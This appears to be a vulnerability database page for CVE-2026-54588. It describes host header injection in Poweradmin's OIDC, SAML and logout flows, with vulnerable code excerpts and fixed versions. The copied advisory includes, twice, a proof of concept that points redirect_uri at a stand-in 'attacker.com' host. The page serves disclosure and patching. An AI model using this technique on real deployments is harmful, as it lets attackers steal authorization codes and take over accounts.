CVE-2026-54588
Poweradmin has Host Header Injection in OIDC redirect_uri, SAML ACS/SLO URL, and Logout Redirect Construction.
CVE-2026-54588 is a critical vulnerability (CVSS 9.6) in Poweradmin, published June 23, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.54%, the 45th percentile. Fixed in poweradmin/poweradmin 4.2.4.
Poweradmin is a web-based DNS administration tool for PowerDNS server. Versions prior to 4.2.4 and 4.3.3 use the attacker-controlled HTTP_HOST request header as the authoritative source for building callback URLs in its OIDC, SAML, and logout authentication flows without any validation. An unauthenticated attacker can poison the redirect_uri sent to the Identity Provider, causing the IdP to redirect the victim's authorization code to an attacker-controlled server - resulting in full account takeover with no credentials required. Versions 4.2.4 and 4.3.3 patch the issue.
Attack profile
How easy it is to exploit
- Attack vector
- Network
- Complexity
- Low
- Privileges needed
- None
- User interaction
- Required
What an attacker can affect
- Confidentiality
- High
- Integrity
- High
- Availability
- Low
Exploit likelihood
What each source reports
CVE List Score used
9.6
Poweradmin has Host Header Injection in OIDC redirect_uri, SAML ACS/SLO URL, and Logout Redirect Construction.
Poweradmin is a web-based DNS administration tool for PowerDNS server. Versions prior to 4.2.4 and 4.3.3 use the attacker-controlled HTTP_HOST request header as the authoritative source for building callback URLs in its OIDC, SAML, and logout authentication flows without any validation. An unauthenticated attacker can poison the redirect_uri sent to the Identity Provider, causing the IdP to redirect the victim's authorization code to an attacker-controlled server - resulting in full account takeover with no credentials required. Versions 4.2.4 and 4.3.3 patch the issue.
- Record
CVE-2026-54588- CVSS 3.1
- 9.6 Critical
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:L - Weakness
- CWE-20, CWE-601
- Updated
- 2026-11-02
EUVDEUVD-2026-38633
9.6
Poweradmin is a web-based DNS administration tool for PowerDNS server. Versions prior to 4.2.4 and 4.3.3 use the attacker-controlled HTTP_HOST request header as the authoritative source for building callback URLs in its OIDC, SAML, and logout authentication flows without any validation. An unauthenticated attacker can poison the redirect_uri sent to the Identity Provider, causing the IdP to redirect the victim's authorization code to an attacker-controlled server - resulting in full account takeover with no credentials required. Versions 4.2.4 and 4.3.3 patch the issue.
- Record
EUVD-2026-38633- CVSS 3.1
- 9.6 Critical
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:L - Updated
- 2026-11-02
GitHub AdvisoriesGHSA-3735-5339-xfwx
9.6
Poweradmin has Host Header Injection in OIDC redirect_uri, SAML ACS/SLO URL, and Logout Redirect Construction.
Summary
Poweradmin v4.3.2 uses the attacker-controlled HTTP_HOST request header as the
authoritative source for building callback URLs in its OIDC, SAML, and logout
authentication flows without any validation. An unauthenticated attacker can poison
the redirect_uri sent to the Identity Provider, causing the IdP to redirect the
victim's authorization code to an attacker-controlled server - resulting in full
account takeover with no credentials required.
Three independent code paths are affected:
- Primary (Critical):
OidcService::getCallbackUrl()-redirect_uripoisoning - Secondary (High):
SamlConfigurationService::getBaseUrl()- SAML ACS/SLO URL poisoning - Tertiary (Medium):
LogoutController::getBaseUrl()- post-logout redirect poisoning
Details
Root Cause
The application constructs absolute URLs dynamically from HTTP_HOST rather than
from a trusted configured base URL. The header is fully client-controlled and is not
validated before use in any authentication flow.
Poweradmin's own codebase contains the correct pattern -
DocsController::getValidatedHost() (line 244) calls isValidHostname() before
using the value - but this was never applied to authentication flows.
Primary: lib/Application/Service/OidcService.php (~line 460)
private function getCallbackUrl(): string
{
$scheme = $this->detectScheme();
// HTTP_HOST taken directly with zero validation
$host = $this->request->getServerParam('HTTP_HOST', 'localhost');
$basePrefix = $this->configManager->get('interface', 'base_url_prefix', '');
return $scheme . '://' . $host . $basePrefix . '/oidc/callback';
}
HTTP_HOST is embedded verbatim as redirect_uri in the OAuth 2.0 authorization
request sent to the IdP. HTTP_X_FORWARDED_PROTO is similarly used unvalidated
for scheme detection.
Secondary: lib/Application/Service/SamlConfigurationService.php (~line 134)
private function getBaseUrl(): string
{
$configuredBaseUrl = $this->configManager->get('interface', 'base_url', '');
if (!empty($configuredBaseUrl)) {
return rtrim($configuredBaseUrl, '/'); // safe path - rarely configured
}
// Falls through on every default installation
$host = $_SERVER['HTTP_HOST'] ?? 'localhost';
...
return $scheme . '://' . $host . $prefix;
}
Used to construct SAML ACS URL, SLO URL, and entity ID - all poisonable via Host header.
The safe fallback only activates when interface.base_url is explicitly set, which is
optional and empty by default.
Tertiary: lib/Application/Controller/LogoutController.php (~line 272)
Same $_SERVER['HTTP_HOST'] pattern used for post-logout redirect URL construction.
### PoC
Environment: Poweradmin v4.3.2, Docker, PHP 8.2, OIDC enabled, interface.base_url empty (default).
docker exec poweradmin-container php -r "
require '/app/vendor/autoload.php';
putenv('PA_CONFIG_PATH=/app/config/settings.php');
use PowerAdmin\Application\Service\OidcService;
use PowerAdmin\Infrastructure\Configuration\ConfigurationManager;
use PowerAdmin\Infrastructure\Web\Request;
\$_SERVER['HTTP_HOST'] = 'attacker.com';
\$_SERVER['HTTPS'] = '';
\$config = ConfigurationManager::getInstance();
\$request = new Request();
\$oidcService = new OidcService(\$config, \$request);
\$authUrl = \$oidcService->initiateAuthFlow('test');
parse_str(parse_url(\$authUrl, PHP_URL_QUERY), \$p);
echo 'redirect_uri: ' . urldecode(\$p['redirect_uri']) . PHP_EOL;
if (str_contains(\$p['redirect_uri'], 'attacker.com')) {
echo '[CONFIRMED] Host header injection successful' . PHP_EOL;
}
"
Output:
redirect_uri: http://attacker.com/oidc/callback
[CONFIRMED] Host header injection successful - redirect_uri contains attacker.com
The redirect_uri in the authorization request sent to the Identity Provider is
http://attacker.com/oidc/callback. The…
- Record
GHSA-3735-5339-xfwx- CVSS 3.1
- 9.6 Critical
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:L - Weakness
- CWE-601
- Updated
- 2026-11-02
NVD
9.6
Poweradmin is a web-based DNS administration tool for PowerDNS server. Versions prior to 4.2.4 and 4.3.3 use the attacker-controlled HTTP_HOST request header as the authoritative source for building callback URLs in its OIDC, SAML, and logout authentication flows without any validation. An unauthenticated attacker can poison the redirect_uri sent to the Identity Provider, causing the IdP to redirect the victim's authorization code to an attacker-controlled server - resulting in full account takeover with no credentials required. Versions 4.2.4 and 4.3.3 patch the issue.
- Record
CVE-2026-54588- CVSS 3.1
- 9.6 Critical
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:L - Weakness
- CWE-20, CWE-601
- Updated
- 2026-11-02
OSV
9.6
Poweradmin has Host Header Injection in OIDC redirect_uri, SAML ACS/SLO URL, and Logout Redirect Construction.
Poweradmin is a web-based DNS administration tool for PowerDNS server. Versions prior to 4.2.4 and 4.3.3 use the attacker-controlled HTTP_HOST request header as the authoritative source for building callback URLs in its OIDC, SAML, and logout authentication flows without any validation. An unauthenticated attacker can poison the redirect_uri sent to the Identity Provider, causing the IdP to redirect the victim's authorization code to an attacker-controlled server - resulting in full account takeover with no credentials required. Versions 4.2.4 and 4.3.3 patch the issue.
- Record
CVE-2026-54588- CVSS 3.1
- 9.6 Critical
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:L - Weakness
- CWE-20, CWE-601
- Updated
- 2026-11-02
OSVGHSA-3735-5339-xfwx
9.6
Poweradmin has Host Header Injection in OIDC redirect_uri, SAML ACS/SLO URL, and Logout Redirect Construction.
Summary
Poweradmin v4.3.2 uses the attacker-controlled HTTP_HOST request header as the
authoritative source for building callback URLs in its OIDC, SAML, and logout
authentication flows without any validation. An unauthenticated attacker can poison
the redirect_uri sent to the Identity Provider, causing the IdP to redirect the
victim's authorization code to an attacker-controlled server - resulting in full
account takeover with no credentials required.
Three independent code paths are affected:
- Primary (Critical):
OidcService::getCallbackUrl()-redirect_uripoisoning - Secondary (High):
SamlConfigurationService::getBaseUrl()- SAML ACS/SLO URL poisoning - Tertiary (Medium):
LogoutController::getBaseUrl()- post-logout redirect poisoning
Details
Root Cause
The application constructs absolute URLs dynamically from HTTP_HOST rather than
from a trusted configured base URL. The header is fully client-controlled and is not
validated before use in any authentication flow.
Poweradmin's own codebase contains the correct pattern -
DocsController::getValidatedHost() (line 244) calls isValidHostname() before
using the value - but this was never applied to authentication flows.
Primary: lib/Application/Service/OidcService.php (~line 460)
private function getCallbackUrl(): string
{
$scheme = $this->detectScheme();
// HTTP_HOST taken directly with zero validation
$host = $this->request->getServerParam('HTTP_HOST', 'localhost');
$basePrefix = $this->configManager->get('interface', 'base_url_prefix', '');
return $scheme . '://' . $host . $basePrefix . '/oidc/callback';
}
HTTP_HOST is embedded verbatim as redirect_uri in the OAuth 2.0 authorization
request sent to the IdP. HTTP_X_FORWARDED_PROTO is similarly used unvalidated
for scheme detection.
Secondary: lib/Application/Service/SamlConfigurationService.php (~line 134)
private function getBaseUrl(): string
{
$configuredBaseUrl = $this->configManager->get('interface', 'base_url', '');
if (!empty($configuredBaseUrl)) {
return rtrim($configuredBaseUrl, '/'); // safe path - rarely configured
}
// Falls through on every default installation
$host = $_SERVER['HTTP_HOST'] ?? 'localhost';
...
return $scheme . '://' . $host . $prefix;
}
Used to construct SAML ACS URL, SLO URL, and entity ID - all poisonable via Host header.
The safe fallback only activates when interface.base_url is explicitly set, which is
optional and empty by default.
Tertiary: lib/Application/Controller/LogoutController.php (~line 272)
Same $_SERVER['HTTP_HOST'] pattern used for post-logout redirect URL construction.
### PoC
Environment: Poweradmin v4.3.2, Docker, PHP 8.2, OIDC enabled, interface.base_url empty (default).
docker exec poweradmin-container php -r "
require '/app/vendor/autoload.php';
putenv('PA_CONFIG_PATH=/app/config/settings.php');
use PowerAdmin\Application\Service\OidcService;
use PowerAdmin\Infrastructure\Configuration\ConfigurationManager;
use PowerAdmin\Infrastructure\Web\Request;
\$_SERVER['HTTP_HOST'] = 'attacker.com';
\$_SERVER['HTTPS'] = '';
\$config = ConfigurationManager::getInstance();
\$request = new Request();
\$oidcService = new OidcService(\$config, \$request);
\$authUrl = \$oidcService->initiateAuthFlow('test');
parse_str(parse_url(\$authUrl, PHP_URL_QUERY), \$p);
echo 'redirect_uri: ' . urldecode(\$p['redirect_uri']) . PHP_EOL;
if (str_contains(\$p['redirect_uri'], 'attacker.com')) {
echo '[CONFIRMED] Host header injection successful' . PHP_EOL;
}
"
Output:
redirect_uri: http://attacker.com/oidc/callback
[CONFIRMED] Host header injection successful - redirect_uri contains attacker.com
The redirect_uri in the authorization request sent to the Identity Provider is
http://attacker.com/oidc/callback. The…
- Record
GHSA-3735-5339-xfwx- CVSS 3.1
- 9.6 Critical
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:L - Weakness
- CWE-601
- Updated
- 2026-11-02
Affected products
Affected packages
| Package | Affected | Fixed |
|---|---|---|
poweradmin/poweradminPackagist |
before 4.2.4 | 4.2.4 |
poweradmin/poweradminPackagist |
4.3.0 up to 4.3.3 | 4.3.3 |
poweradmin/poweradminPackagist |
before 4.2.4, plus listed versions v2.1.8v2.1.9v2.2.0v2.2.1v2.2.2 Show 45 moreShow lessv3.0.0v3.1.0v3.2.0v3.3.0v3.4.0v3.4.1v3.4.2v3.5.0v3.5.1v3.6.0v3.6.1v3.7.0v3.7.0-alpha.1v3.8.0v3.8.1v3.9.0v3.9.1v3.9.10v3.9.11v3.9.12v3.9.2v3.9.3v3.9.4v3.9.5v3.9.6v3.9.7v3.9.8v3.9.9v4.0.0v4.0.1v4.0.10v4.0.11v4.0.2v4.0.3v4.0.4v4.0.5v4.0.6v4.0.7v4.0.9v4.1.0v4.1.1v4.1.2v4.1.3v4.1.4v4.2.0 |
4.2.4 |
poweradmin/poweradminPackagist |
4.3.0 up to 4.3.3, plus listed versions v4.3.0v4.3.1v4.3.2 |
4.3.3 |
History
| When | Changed | Sources |
|---|---|---|
| 2026-11-02 | created | CVE List, EUVD, GitHub Advisories, NVD, OSV |
References
github.com/poweradmin/poweradmin/security/advisories/GHSA-3735-5339-xfwx
github.com/poweradmin/poweradmin/releases/tag/v4.2.4
github.com/poweradmin/poweradmin/releases/tag/v4.3.3
nvd.nist.gov/vuln/detail/CVE-2026-54588
github.com/advisories/GHSA-3735-5339-xfwx
github.com/CVEProject/cvelistV5/tree/main/cves/2026/54xxx/CVE-2026-54588.json
github.com/poweradmin/poweradmin
Left out here: 3 versions and the rest of 2 source descriptions. The JSON record has them.